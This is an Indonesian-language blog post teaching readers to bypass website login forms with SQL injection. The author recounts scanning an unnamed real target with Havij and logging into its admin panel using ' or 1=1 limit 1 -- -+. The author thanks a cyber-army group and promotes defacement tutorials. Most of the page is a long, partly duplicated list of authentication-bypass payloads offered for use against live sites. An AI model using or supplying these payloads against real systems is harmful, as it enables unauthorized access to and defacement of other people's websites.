Tutorial Bypass Sqli Login

Assalamuailaikum.
Berhubung saya lagi mendapatkan target yang cocok buat tutorial ini Tutorial Bypass Sqli Login, yaudah sekalian di buat tutorial disini, buat belajar bersama.

Bypass sqli login maksudnya adalah login ke web target tanpa memasukan username dan password target, dengan memanfaatkan error pada bug sql yg ada di web target tersebut.

ceritanya kan saya lagi scan-scan web dengan havij, udah ketemu sih sebenarnya user dan passwordnya.

Ya tapi setelah mencoba menghash nya hasilnya NOT FOUND :(
Baca juga: Tutorial deface with sqlmap and acunetix

Tapi jangan menyerah dulu gan, coba kita bypass dulu, berhubung saya juga udah menemukan admin login nya jadi coba masukan.
User: ' or 1=1 limit 1 -- -+
Password: ' or 1=1 limit 1 -- -+

Dan tarraaa.... Berhasilkan ^_^ sekian tutorialnya , Thanks to Indonesian Cyber Army

Baca juga:

Update

Untuk kode bypass lainya:

' or '1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

'or'1=1'

==

and 1=1--

and 1=1

' or 'one'='one--

' or 'one'='one

' and 'one'='one

' and 'one'='one--

1') and '1'='1--

admin' --

admin' #

admin'/*

or 1=1--

or 1=1#

or 1=1/*

) or '1'='1--

) or ('1'='1--

' or '1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

'or'1=1'

Tag: bypass sql, bypass sql login, tutorial bypass, tutorial sql injection, tutorial deface, cara bypass, cara deface, Idiot Attacker

Tutorial Bypass Sqli Login

Bagikan bos:

2 Komentar